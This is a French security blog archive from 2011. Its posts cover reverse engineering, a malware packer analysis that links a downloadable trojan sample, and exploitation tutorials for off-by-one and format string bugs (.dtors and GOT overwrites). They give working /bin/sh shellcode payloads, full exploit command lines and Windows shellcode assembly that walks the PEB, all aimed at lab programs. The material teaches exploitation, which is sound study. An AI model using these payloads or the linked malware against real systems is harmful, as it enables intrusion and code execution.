– Enfin, je vous conseille fortement d’utiliser une VM avec Windows XP pour tous vos travaux de reverse engineering. Il est en effet beaucoup plus simple de débugger sur une architecture 32 bits (moins de problèmes de compatibilité avec les tools comme olly, pas d’aslr / dep, etc.). Vous aurez en outre la possibilité de faire des snapshots afin de restaurer l’état de la machine à un état antérieur. La constitution d’une VM est indispensable pour tout ce qui touche au reversing de malwares. Vous pouvez utiliser VMWare Workstation ou VirtualBox afin de créer votre machine virtuelle.

Ce rapide guide du débutant en est à la version 1.1, et est encore susceptible de connaître des mises à jour et des rajouts en fonction des suggestions (que j’encourage). (Au passage si un mod pouvait l’épingler je lui en serais reconnaissant à vie (à moins que ça ne soit pas juger nécessaire?))

J’espère qu’il répondra aux attentes des débutants, et qu’ils prendront le temps de le lire avant de poser toujours les mêmes questions.

Edit : v1.1. Merci à toutes les personnes m’ayant remonté des fautes ou conseillé des logiciels / sites à rajouter.

Publié dans Reversing | Marqué avec Outils, reversing, Tuto | Laisser un commentaire

Reversing d’un packer de malware

Publié le 8 novembre 2011 par Horgh

Bonsoir,

Je pense que vous vous souvenez de l’analyse du malware que je faisais ; par un jeu de circonstances je l’ai arrêté et je n’ai décidé que récemment de reprendre le tuto afin de lui donne une mise en forme correcte et de présenter ce maigre stuff aux yeux des gens, en espérant que quelques uns d’entre vous y trouvent un quelconque intérêt.

Evidemment, comme j’ai écrit cela en début d’année quand je débutais encore en reversing de malware, ça ne va pas être très poussé ; mais j’y présente quelques techniques classiques que l’on retrouve dans certains vx et la majorité des packers de malwares qui pourraient intéresser les gens ne s’étant jamais vraiment penché sur ce genre de choses.

Bref, trêve de blabla, tout est le reste est dans le pdf.
Critiques bienvenues évidemment, positives ou négatives.

Lien ici : https://www.re-xe.com/wp-content/uploads/2011/11/Tutoriel+n°12.pdf

EDIT: https://www.re-xe.com/wp-content/uploads/2011/11/Trojan.Win32.OnlineGameHack.7z // Rajout du malware (pass : infected).

Je terminerai par des remerciements pour ceux qui ont relu ce papier.
Voilà, bonne nuit à tous.

Publié dans Reversing | Marqué avec malwares, packer, reversing | 2 commentaires

L’off-by-one

Publié le 31 octobre 2011 par opc0de

Intro :

L’off-by-one n’est pas un buffer overflow classique car le principe d’exploitation est totalement différent.
Pour cet article nous allons utiliser ce code source vulnérable et désactiver l’aslr (sysctl -w kernel.randomize_va_space=0)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

#include <stdio.h>
#include <string.h>

#define limit 1024

int i;

void func(char *arg)
{
char buffer[1024];

for (i = 0; arg[i] != '\0' && i < limit; i++)
{
buffer[i] = arg[i];
}
if (strlen(arg) > limit)
buffer[1024] = 0;
}

int main(int argc, char *argv[])
{
if (argc != 2)
{
printf("%s <arg>\n", argv[0]);
return (1);
}
func(argv[1]);
return (0);
}

On compile :

1	gcc off-by-one.c -o off-by-one -mpreferred-stack-boundary=2

Dans cette source, nous voyons bien que le null byte se trouve en dehors du buffer, ce qui permet de terminer la chaîne. Donc contrairement à un buffer overflow, nous n’avons pas écrasé directement EIP mais juste le dernier octet de EBP saved.

Rappel sur les appels de fonction en C :

En C lorsque l’on appelle une fonction, deux mécanismes bien connus en assembleur sont créés : le prolog et l’epilog.
Le prolog est appelé à l’entrée de la fonction (donc avant son exécution) et sert à préparer la pile pour son bon déroulement ; quand à l’epilog, il sert à restaurer la pile dans l’état où elle était avant son appel.

Voici à quoi correspond un prolog :

1 2	push ebp ; Sauvegarde d'ebp. mov ebp,esp ; Création du stack frame.

Pour l’epilog, on peut en trouver de deux sortes, mais qui font exactement la même chose :

1
2

leave
ret

Ou :

1
2
3

mov esp,ebp ; Destruction du stack frame.
pop ebp ; Restaure ebp.
ret

Le bug :

On va utiliser GDB et poser des breakpoints à différents endroits pour surveiller la valeur des registres.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

gdb ./off-by-one
(gdb) disass main
...
End of assembler dump.
(gdb) b * main+0
Breakpoint 1 at 0x8048461
(gdb) b * main+63
Breakpoint 2 at 0x80484a0
(gdb) disass func
...
End of assembler dump.
(gdb) b * func+0
Breakpoint 3 at 0x80483f4
(gdb) b * func+108
Breakpoint 4 at 0x8048460

On run le programme avec en argument pleins de ‘a’…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

(gdb) r $(python -c 'print "a"*2048')
Starting program: /home/mnemo/mhackwork/off-by-one/off-by-one $(python -c 'print "a"*2048')

Breakpoint 1, 0x08048461 in main ()
(gdb) p $ebp
$1 = (void *) 0xbffff018
(gdb) c
Continuing.

Breakpoint 3, 0x080483f4 in func ()
(gdb) p $ebp
$2 = (void *) 0xbfffef98 // ebp saved
(gdb) c
Continuing.

Breakpoint 4, 0x08048460 in func ()
(gdb) p $ebp
$3 = (void *) 0xbfffef00 // ebp saved avec le dernier byte écrasé
(gdb) x/2x 0xbfffef00
0xbfffef00: 0x61616161 0x61616161
(gdb) ni
0x0804849a in main () // on se retrouve dans main()
(gdb) p $ebp
$4 = (void *) 0xbfffef00
(gdb) c
Continuing.

Breakpoint 2, 0x080484a0 in main ()
(gdb) x/2x $esp
0xbfffef04: 0x61616161 0x61616161
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()

Ici nous voyons clairement le bug, le dernier byte d’ebp saved a été écrasé par le caractère null qui termine la chaîne, au départ sa valeur était de 0xbfffef98 puis à la sortie de func() elle était de 0xbfffef00.
Si on regarde ce qu’il y a à 0xbfffef00 on y voit nos ‘a’. Donc après l’epilog de func(), le haut de la pile pour main() contient nos ‘a’. Du coup, lors de l’epilog de main() cette fois, ebp va prendre comme valeur 0x61616161.
C’est à l’instruction qui suit (au ret de main) donc à l’instruction pop eip que ça plante, apres avoir dépilé sur la stack la valeur de ebp donc si vous avez bien suivi 0x61616161. EIP va également prendre cette valeur, alors qu’aucune instruction ne se trouve à 0x61616161.

Exploitation :

Pour l’exploitation je vais utiliser un shellcode qui exécute /bin/sh dont voici les bytes :

1	"\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23"

GDB va encore me servir mais cette fois-ci pour trouver l’adresse où jumper :

1
2
3
4
5
6
7
8
9
10

(gdb) r $(python -c 'print "aaaa" * 2048 + "\x90"*1024+"\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23"')
Starting program: /home/mnemo/mhackwork/off-by-one/off-by-one $(python -c 'print "aaaa" * 2048 + "\x90" * 1024 + "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23"')

Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
(gdb) x/10000x $esp
...
0xbffff748: 0x90909090 0x90909090 0x90909090 0x90909090
...
(gdb)

Nous n’avons plus qu’à remplacer nos ‘a’ par cette adresse, et normalement ça devrait sauter en plein milieu de nos nops.

1 2	./off-by-one $(python -c 'print "\x48\xf7\xff\xbf" * 2048 + "\x90" * 1024 + "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23"') $ exit

On a bien obtenu le shell /bin/sh.

C’est tout pour cet article, j’espère vous avoir éclaircit sur ce type d’exploitation 😉

Publié dans Exploitation | Marqué avec off-by-one | Laisser un commentaire

Les format string bugs

Publié le 29 septembre 2011 par opc0de

Les Format String Bugs

0x01 – Intro

Un format string bug peut se produire lorsque le programmeur passe à l’une des fonctions de la famille de printf une chaîne fournie par l’utilisateur.

Cet utilisateur peut alors très bien fournir une chaîne de format, et c’est ici que se trouve le bug.
Car si un « %x » se trouve dans cette chaîne et qu’aucun argument à printf n’est donné, alors printf prendra comme argument ce qui se trouve empilé sur la pile, il est donc possible de la lire avec plusieurs « %x ».

rappel: %x affiche sous forme hexadécimal.

Même si la fonction printf est dans la plupart des cas utilisée pour lire ou afficher une variable, elle est aussi capable d’y écrire, et cela se fait avec %n.

Rappel : %n stock le nombre de caractères déjà écrits dans l’argument correspondant.

Exemple de ces deux formats :

1
2
3
4
5
6
7
8
9
10
11
12

#include <stdio.h>

int main(void)
{
char c = 'a';
int i;

printf("c = %c - %x\n", c, c);
printf("1234%n\n", &i);
printf("i = %d\n", i);
return (0);
}

– On compile :

1	gcc fmt.c -o fmt

– On run :

1
2
3
4

./fmt
c = a - 61
1234
i = 4

%x a fait printf le caractère ‘a’ en hexa qui correspond bien à 61 et %n a bien écrit dans i les 4 caractères affichés.

0x02 – Exemple de lecture/écriture

Ici nous allons voir comment changer la valeur d’une variable d’un programme grâce à un format string bug.

Voici la source du programme utilisé :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

#include <stdio.h>
#include <string.h>

int var = 0;

int main(int argc, char *argv[])
{
char buf[1024];

if(argc != 2) {
printf("Error: supply a format string.\n");
return 1;
}
strncpy(buf, argv[1], 1023);
buf[1024] = 0;
printf(buf);
printf("\n\nvar = %d - %x (%p)\n", var, var, &var);
return (0);
}

– On compile :

1	gcc fmtbug.c -o fmtbug

Pour commencer il nous faut connaître la position de buf sur la pile, on y parvient en dépilant (avec %x) les valeurs de la stack :

1 2	(for((val = 1; val < 10; val++)); do echo -n "val = $val - " ; ./fmtbug "ABCD%${val}\$x" ; done) \| grep 44434241 val = 5 - ABCD44434241

Nous voyons que le début de notre buf se trouve en cinquième position, vérifions :

1
2
3
4

./fmtbug 'ABCD%5$x'
ABCD44434241

var = 0 - 0 (0x8049680)

Nous tombons bien sur notre string.

Maintenant nous allons changer la valeur de var qui est de type int, le programme de démonstration affiche son adresse donc nous n’avons pas besoin de la chercher, chez moi l’adresse de var est : 0x8049680

Il faut donc écrire avec %n à cette adresse :

1
2
3
4

./fmtbug `python -c 'print "\x80\x96\x04\x08%5$n"'`
...
...
var = 4 - 4 (0x8049680)

La valeur de la variable var à changer est 4 car nous avons affichés 4 caractères (\x80 + \x96 + \x04 + \x08). Mais nous pouvons très bien lui donner comme valeur 500 par exemple :

1
2
3
4

./fmtbug `python -c 'print "\x80\x96\x04\x08%496x%5$n"'`
...
...
var = 500 - 1f4 (0x8049680)

Nous savons maintenant donner une valeur à une variable, voyons alors comment lui donner une adresse :
Pour l’exemple on va donner à la variable « var » la valeur 0xdeadbeef.

Il y a deux façons d’y parvenir :
– Ecrire octet par octet* en commençant par ceux de poids fort.
– Ecrire word par word* toujours en commençant par celui de poids faible.

*Octet par octet : c’est à dire écraser ces 4 adresses : 0x8049680 0x8049680+1 0x8049680+2 0x8049680+3

Comme vu plus haut, nous devons commencer par les octets de poids faible pour 0xdeadbeef et utiliser le spécificateur %hhn.

1
2
3
4
5
6
7
8

>>> 0xde
222
>>> 0xad
173
>>> 0xbe
190
>>> 0xef
239

En premier 0xad, puis 0xbe, suivi de 0xde, et pour finir 0xef.
Pour le premier byte (0xad), vu que 4 *4 octets sont déjà placés, c’est à dire nos adresses : « \x80\x96\x04\x08″+ »\x81\x96\x04\x08″+ »\x82\x96\x04\x08″+ »\x83\x96\x04\x08 », il faut en tenir compte :

0xad – (4*4) = 157
0xbe – 0xad = 17
0xde – 0xbe = 32
0xef – 0xde = 17

– Pour l’ordre d’écrasement :
adresse+0: 0xef
adresse+1: 0xbe
adresse+2: 0xad
adresse+3: 0xde

Voici notre exploit :

1
2
3
4

./fmtbug $(python -c 'print "\x80\x96\x04\x08"+"\x81\x96\x04\x08" + "\x82\x96\x04\x08" + "\x83\x96\x04\x08" + "%157c%7$hhn" + "%17c%6$hhn" + "%32c%8$hhn" + "%17c%5$hhn"')
...
...
var = -559038737 - deadbeef (0x8049680)

*Word par word
En le faisant word par word même principe : le word qui pèse le moins d’abord, suivis de l’autre. Mais nous n’écraserons que deux adresses : 0x8049680 et 0x8049680+2 avec le spécificateur %hn.

1
2
3
4

>>> 0xdead
57005
>>> 0xbeef
48879

Pour le premier word (0xbeef) 2 adresses sont déjà affichées, donc 0xbeef – (4*2) soit 48871 qui sera à adresse+0 et pour le second 0xdead – 0xbeef = 8126 qui sera à adresse+2.

L’exploit :

1
2
3
4

./fmtbug $(python -c 'print "\x80\x96\x04\x08" + "\x82\x96\x04\x08" + "%48871u%5$hn" + "%8126u%6$hn"')
...
...
var = -559038737 - deadbeef (0x8049680)

0x03 – Exploitation

Je vais démontrer ici deux types d’exploitations (les plus connues) : format string bug avec shellcode.

*DTORS – Destructors
.dtors est une section créée par le compilateur GCC qui sert comme destructeur. La section utilisée comme constructeur est appelée .ctors. La section .dtors est une table de fonctions qui sont appelées juste après la sortie de main(). Voici à quoi ressemble la section .dtors pour notre programme fmtbug :

1
2
3
4
5
6

objdump -s -j .dtors ./fmtbug

./fmtbug: file format elf32-i386

Contents of section .dtors:
8049570 ffffffff 00000000 ........

La section .dtors est accessible en écriture, nous comprenons tout de suite qu’il est donc possible d’écraser une adresse contenue dans .dtors par une adresse pointant sur notre shellcode. Nous allons donc écraser la dernière adresse de la table des fonctions de .dtors. Cette dernière adresse peut être trouvée grâce au tool « nm ».

1
2
3

nm ./fmtbug | grep DTOR
08049574 d __DTOR_END__
08049570 d __DTOR_LIST__

__DTOR_LIST__ représente le début de la section et __DTOR_END__ la fin. Il nous faut donc écraser l’adresse de __DTOR_END__, soit 0x08049574. Pour commencer, nous allons détourner le flux d’exécution de format bug pour le faire sauter sur 0xdeadbeef afin d’obtenir un segfault.

1	ulimit -c unlimited

1
2
3
4

./fmtbug $(python -c 'print "\x74\x95\x04\x08" + "\x76\x95\x04\x08" + "%48871u%5$hn" + "%8126u%6$hn"')
...
...
Erreur de segmentation (core dumped)

1
2
3
4

gdb -c core
Program terminated with signal 11, Segmentation fault.
#0 0xdeadbeef in ?? ()
(gdb)

Maintenant que nous arrivons à détourner le flux du programme, il faudrait qu’il puisse jump sur un shellcode, c’est ce que nous allons voir. Dans cet exemple, le shellcode sera dans une variable d’environnement :

1	export EGG=$(python -c 'print "\x90" * 2048 + "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23"')

Pour trouver l’adresse sur laquelle jumper nous allons utiliser GDB, reprendre l’exemple plus haut avec 0xdeadbeef, puis chercher dans la stack les 0x90.

1
2
3
4
5
6
7
8
9
10
11
12

gdb ./fmtbug

(gdb) r $(python -c 'print "\x74\x95\x04\x08" + "\x76\x95\x04\x08" + "%48871u%5$hn" + "%8126u%6$hn"')
...
...
Program received signal SIGSEGV, Segmentation fault.
0xdeadbeef in ?? ()

(gdb) x/500x $esp
...
...
0xbffff2fc: 0x90909090 0x90909090 0x90909090 0x90909090

Je vais donc prendre cette adresse (0xbffff2fc) pour que l’on saute dans les NOPs pour finir par exécuter le shellcode :

1
2
3
4
5
6
7
8
9

>>> 0xbfff
49151
>>> 0xf2fc
62204
>>> 0xbfff - (4*2)
49143
>>> 0xf2fc - 0xbfff
13053
>>>

1
2
3
4
5
6

./fmtbug $(python -c 'print "\x74\x95\x04\x08" + "\x76\x95\x04\x08" + "%49143u%6$hn" + "%13053u%5$hn"')
...
...
var = 0 - 0 (0x8049680)
$ exit
user@distro:~/fmtbug$

Et voila \o/ le shellcode a bien été exécuté 😉

*GOT – Global Offset Table
Cette table contient les adresses réelles des fonctions partagées utilisées par un programme. On obtient ces adresses grâce à objdump :

1
2
3
4
5
6
7
8
9
10
11
12

objdump -R ./fmtbug

./fmtbug: file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0804964c R_386_GLOB_DAT __gmon_start__
0804965c R_386_JUMP_SLOT __gmon_start__
08049660 R_386_JUMP_SLOT strncpy
08049664 R_386_JUMP_SLOT __libc_start_main
08049668 R_386_JUMP_SLOT printf
0804966c R_386_JUMP_SLOT puts

Nous devons alors savoir laquelle de ces fonctions est appeleé après notre printf vulnérable. Pour voir cela, nous allons utiliser GDB.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

gdb ./fmtbug
(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
0x080483d4 <main+0>: push ebp
0x080483d5 <main+1>: mov ebp,esp
0x080483d7 <main+3>: sub esp,0x414
0x080483dd <main+9>: cmp DWORD PTR [ebp+0x8],0x2
0x080483e1 <main+13>: je 0x80483fb <main+39>
0x080483e3 <main+15>: mov DWORD PTR [esp],0x804852c
0x080483ea <main+22>: call 0x8048340 <puts@plt>
0x080483ef <main+27>: mov DWORD PTR [ebp-0x404],0x1
0x080483f9 <main+37>: jmp 0x8048460 <main+140>
0x080483fb <main+39>: mov eax,DWORD PTR [ebp+0xc]
0x080483fe <main+42>: add eax,0x4
0x08048401 <main+45>: mov eax,DWORD PTR [eax]
0x08048403 <main+47>: mov DWORD PTR [esp+0x8],0x3ff
0x0804840b <main+55>: mov DWORD PTR [esp+0x4],eax
0x0804840f <main+59>: lea eax,[ebp-0x400]
0x08048415 <main+65>: mov DWORD PTR [esp],eax
0x08048418 <main+68>: call 0x8048310 <strncpy@plt>
0x0804841d <main+73>: mov BYTE PTR [ebp+0x0],0x0
0x08048421 <main+77>: lea eax,[ebp-0x400]
0x08048427 <main+83>: mov DWORD PTR [esp],eax
0x0804842a <main+86>: call 0x8048330 <printf@plt>
0x0804842f <main+91>: mov eax,ds:0x8049680
0x08048434 <main+96>: mov edx,DWORD PTR ds:0x8049680
0x0804843a <main+102>: mov DWORD PTR [esp+0xc],0x8049680
0x08048442 <main+110>: mov DWORD PTR [esp+0x8],eax
0x08048446 <main+114>: mov DWORD PTR [esp+0x4],edx
0x0804844a <main+118>: mov DWORD PTR [esp],0x804854b
0x08048451 <main+125>: call 0x8048330 <printf@plt>
0x08048456 <main+130>: mov DWORD PTR [ebp-0x404],0x0
0x08048460 <main+140>: mov eax,DWORD PTR [ebp-0x404]
0x08048466 <main+146>: leave
0x08048467 <main+147>: ret
End of assembler dump.
(gdb)

Nous voyons qu’après le printf vulnérable (qui se trouve à l’adresse 0x0804842a), c’est encore un printf qui est appelé, il faut donc le remplacer. Si nous regardons la sortie d’objdump nous voyons que printf se trouve à 0x08049668. Pour cet exemple nous n’allons pas utiliser de variable d’environnement pour stocker notre shellcode, nous allons le passer en même temps dans la format string mais il nous faut son adresse, encore une fois je vais utiliser GDB.

1
2
3
4
5
6
7
8
9
10
11
12

gdb ./fmtbug

(gdb) r $(python -c 'print "\x68\x96\x04\x08" + "\x6a\x96\x04\x08" + "%48871u%5$hn" + "%8126u%6$hn" + "\x90" * 500 + "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23"')

Program received signal SIGSEGV, Segmentation fault.
0xdeadbeef in ?? ()

(gdb) x/100x $esp
...
...
0xbffff270: 0x90909090 0x90909090 0x90909090 0x90909090
...

Je vais donc écraser l’adresse de printf qui est à 0x08049668 par 0xbffff270 où se trouvent nos NOPs.

1
2
3
4
5
6
7
8
9

>>> 0xbfff
49151
>>> 0xf270
62064
>>> 0xbfff - (4*2)
49143
>>> 0xf270 - 0xbfff
12913
>>>

On a maintenant tout ce qu’il nous faut, exploitons-le :

1
2
3
4

./fmtbug $(python -c 'print "\x68\x96\x04\x08" + "\x6a\x96\x04\x08" + "%49143u%6$hn" + "%12913u%5$hn" + "\x90" * 500 + "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23"')
...
��$ exit
user@distro:~/fmtbug$

W00t, on obtient bien un shell (on le voit avec le ‘$’).

C’est tout pour cet article, j’espère vous avoir éclairci sur les exploitations de type format string.

Publié dans Exploitation | Marqué avec fmt, format string, format string bug | 4 commentaires

Les shellcodes x86 sur Windows seven :

Publié le 10 septembre 2011 par opc0de

Un shellcode est un code arbitraire injecté dans la mémoire comme par exemple dans le cas d’un buffer overflow permettant de faire ce que l’on veut sur le pc de la victime, on les appelle shellcode car ce type de code est souvent utilisé pour obtenir un shell ou une invite de commande pour prendre le contrôle total du pc distant. Les shellcodes sont constitués d’une suite d’instructions assembleur et peuvent donc faire tout ce que l’on souhaite.

L’écriture de shellcodes Windows nécessite de connaître les API Windows, de savoir dans quelle dll une fonction que l’on souhaite utiliser se trouve, de charger cette dll puis d’appeler directement l’adresse de la fonction.

Il faut savoir qu’un shellcode ne doit pas contenir de null byte ou octet nul en français, c’est à dire le caractère de terminaison d’une string en C, car dans un exploit, le shellcode est placé dans un tableau de char afin d’être comme je le disais : injecté, donc si un null byte se trouve dans cette chaîne, votre shellcode ne sera pas entièrement copié dans le buffer et ne pourra donc fonctionner normalement.

Shellcode statique :

Dans un premier temps on va créer un shellcode statique c’est à dire qui ne fonctionnera plus lorsque vous aurez rebooté votre seven et ceci à cause de l’aslr (Address Space Layout Randomization) introduit sur les OS de microsoft depuis la sortie de vista. Notre shellcode sera tout simple, il affichera une MessageBox avec un titre et un message, puis quittera.

On a donc besoin de l’adresse effective de LoadLibraryA qui se trouve dans kernel32.dll pour charger user32.dll, de l’adresse effective de MessageBoxA contenue dans cette dernière et de ExitProcess qui se trouve également dans kernel32.dll, qui elle est toujours chargée.

Voici les prototypes de nos fonctions :

1
2
3

HMODULE WINAPI LoadLibraryA(
__in LPCTSTR lpFileName
);

1
2
3
4
5
6

int WINAPI MessageBoxA(
__in_opt HWND hWnd,
__in_opt LPCTSTR lpText,
__in_opt LPCTSTR lpCaption,
__in UINT uType
);

1
2
3

VOID WINAPI ExitProcess(
__in UINT uExitCode
);

Pour trouver ces adresses je vais utiliser mon tool : ListExportedFunctions. Mais vous pouvez utiliser les /fonctions LoadLibrary() et GetProcAddress() pour les obtenir.

On obtient l’adresse 0x76F74BC6 pour LoadLibraryA, 0x7782FEAE pour MessageBoxA et 0x76F7734E pour ExitProcess.

En ce qui concerne les strings dont nous avons besoin pour nos fonctions, sachant que dans un shellcode on ne peut utiliser la section réservée aux données, celle nommée « .data », nous utiliserons une technique se servant des instructions jmp, call et pop, pour obtenir un pointeur vers chacune de nos strings.

Voici un exemple de cette technique :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

.386
.model flat, stdcall

option casemap:none

.code

start:

jmp getString

getStringReturn:
pop ecx

getString:
call getStringReturn
db "hello world",0

end start

Le registre ecx contient maintenant un pointeur vers notre string « hello world ». Mais il y a un problème : cette string crée un null byte et comme dit plus haut, un shellcode ne doit pas en contenir.
Pour y remédier, nous allons utiliser un autre registre, le mettre à 0 avec l’instruction xor, ajouter un caractère à la fin de notre string, puis écraser ce caractère par le byte de poids faible de ce dernier registre. Avec cette technique, notre string sera bien terminée par un zéro mais sans null byte.

Exemple :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

.386
.model flat, stdcall

option casemap:none

.code

start:

xor ebx,ebx ; On met ebx à zéro.
jmp getString

getStringReturn:
pop ecx
mov [ecx+11],bl ; On écrase le '#' par bl, donc zéro.

getString:
call getStringReturn
db "hello world#"

end start

Voici donc maintenant notre shellcode au complet :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59

.386
.model flat, stdcall

option casemap:none

.code

start:

xor ebx,ebx ; Le registre ebx n'est jamais modifié.

; LoadLibraryA
jmp getUser32LibString

getUser32LibStringReturn:
pop ecx
mov [ecx+10],bl
mov eax,76F74BC6h
push ecx
call eax

; MessageBoxA
jmp getCaptionString

getCaptionStringReturn:
pop ecx
mov [ecx+9],bl

jmp getTextString

getTextStringReturn:
pop edx
mov [edx+11],bl
mov eax,7782FEAEh

push ebx
push ecx
push edx
push ebx
call eax

; ExitProcess
mov eax,76F7734Eh
push ebx
call eax

getTextString:
call getTextStringReturn
db "hello world#"

getCaptionString:
call getCaptionStringReturn
db "Shellcode#"

getUser32LibString:
call getUser32LibStringReturn
db "user32.dll#"

end start

Si vous essayez d’exécuter ce shellcode vous n’y arriverez pas, car il faut passer par un programme intermédiaire écrit en C que j’appellerai « shellcodetest.c », qui, chez moi est compilé avec gcc (mingw). Si vous souhaitez le compiler avec Visual Studio, il vous faudra utiliser la fonction VirtualProtect() sur la variable code.

1
2
3
4
5
6
7
8

char code[] = "Placez votre shellcode ici";

int main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}

Pour obtenir les bytes du shellcode à placer dans le buffer, vous pouvez utiliser l’outil GetShellcode. Après compilation et exécution de shellcodetest nous obtenons :

Seulement voilà, après un reboot, ce shellcode ne fonctionnera plus car l’adresse des fonctions écrites en dur ici auront changées, il nous faut donc une autre approche. Cette nouvelle approche est souvent appelée « shellcode générique » et c’est ce que nous allons voir maintenant.

Shellcode générique :

Au lieu d’utiliser un programme externe qui nous donne les adresses des fonctions que nous souhaitons utiliser, et de se contenter d’un copié/colleé de l’adresse dans le code assembleur, il nous faut les trouver directement dans le shellcode. Cette approche nécessite d’abord de connaître l’adresse de base de kernel32.dll.

Il existe plusieurs techniques pour trouver cette adresse dont une qui utilise la structure du PEB. On trouve le pointeur sur ce PEB à fs:[0x30].
Une fois dans cette structure à 0x0c, on tombe sur une autre structure nommée PEB_LDR_DATA. Dans cette dernière, à 0x1c, il y a une liste chaînée qui contient les modules chargés en mémoire.

Cette liste chaînée porte le nom de InitializationOrderModule. Sur windows XP & vista, kernel32.dll est toujours chargée en deuxième position, mais sur seven elle l’est en troisième. Une façon de rendre portable cette technique sur tous les OS de microsoft est de regarder à la fin de chaque nom de module que l’on parcourt (nom que l’on trouve à l’offset 0x20 sur chaque élément de InitializationOrderModule). Le nom de la dll/module doit faire 12 caractères (n’oublions pas que nous sommes en unicode).

Puis enfin à 0x08 sur chaque élément, on y trouve l’adresse de base du module.

Voici le code assembleur qui nous permet de trouver l’adresse de kernel32.dll :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

.386
.model flat, stdcall

option casemap:none
assume fs:nothing

.code

start:

xor ecx, ecx ; ecx = 0
mov esi, fs:[ecx + 30h] ; esi = &(PEB) (FS:[0x30])
mov esi, [esi + 0ch] ; esi = PEB->Ldr
mov esi, [esi + 1ch] ; esi = PEB->Ldr.InInitOrder
next_module:
mov eax, [esi + 08h] ; eax = InInitOrder[X].base_address
mov edi, [esi + 20h] ; edi = InInitOrder[X].module_name (unicode)
mov esi, [esi] ; esi = InInitOrder[X].flink (module suivant)
cmp [edi + 12 * 2], cl ; module_name[12] == 0 ?
jne next_module ; Non : essayons le module suivant.

end start

Avec ce code, eax contient l’adresse de base de kernel32.dll. Il ne nous reste donc plus qu’à obtenir l’adresse de nos fonctions. On va refaire le même shellcode que dans l’exemple précédent, c’est à dire celui qui était statique.

On y va en deux fois :
– On trouve les adresses de LoadLibraryA et de ExitProcess qui se trouvent dans kernel32.dll
– On trouve l’adresse de MessageBoxA qui se trouve dans user32.dll.

Pour trouver l’adresse de nos fonctions, nous allons utiliser le PE format et parser les dll afin d’obtenir les adresses dans la table d’exportation. Pour en savoir plus sur le format PE, vous pouvez lire l’article Le format PE. Ce tutoriel ne suffit pas pour la suite car pour un shellcode on ne peut pas lire toutes les en-têtes, utiliser fread, fseek etc… Il nous faut donc connaître à l’avance les offsets de tout ce que l’on a besoin :

1
2
3
4
5
6
7
8
9
10
11

PIMAGE_DOS_HEADER->e_lfanew = 0x3c

PIMAGE_NT_HEADERS->OptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]->VirtualAddres = 0x78

PIMAGE_EXPORT_DIRECTORY->NumberOfNames = 0x18

PIMAGE_EXPORT_DIRECTORY->AddressOfNames = 0x20

PIMAGE_EXPORT_DIRECTORY->AddressOfNameOrdinals = 0x24

PIMAGE_EXPORT_DIRECTORY->AddressOfFunctions = 0x1c

Plutôt que de comparer dans le shellcode chaque nom de fonctions listé depuis la table d’exportation d’une dll avec un nom que l’on recherche, nous allons utiliser un système de hash.

C’est à dire, au départ créer un hash pour chaque nom de fonction que l’on souhaite utiliser, puis dans le shellcode à chaque nom de fonction parcouru on générera ce hash pour le comparer avec celui que l’on recherche. Cette technique permet de diminuer la taille de notre shellcode.

Ici le code qui permet de générer le hash d’une fonction: GenerateHash.

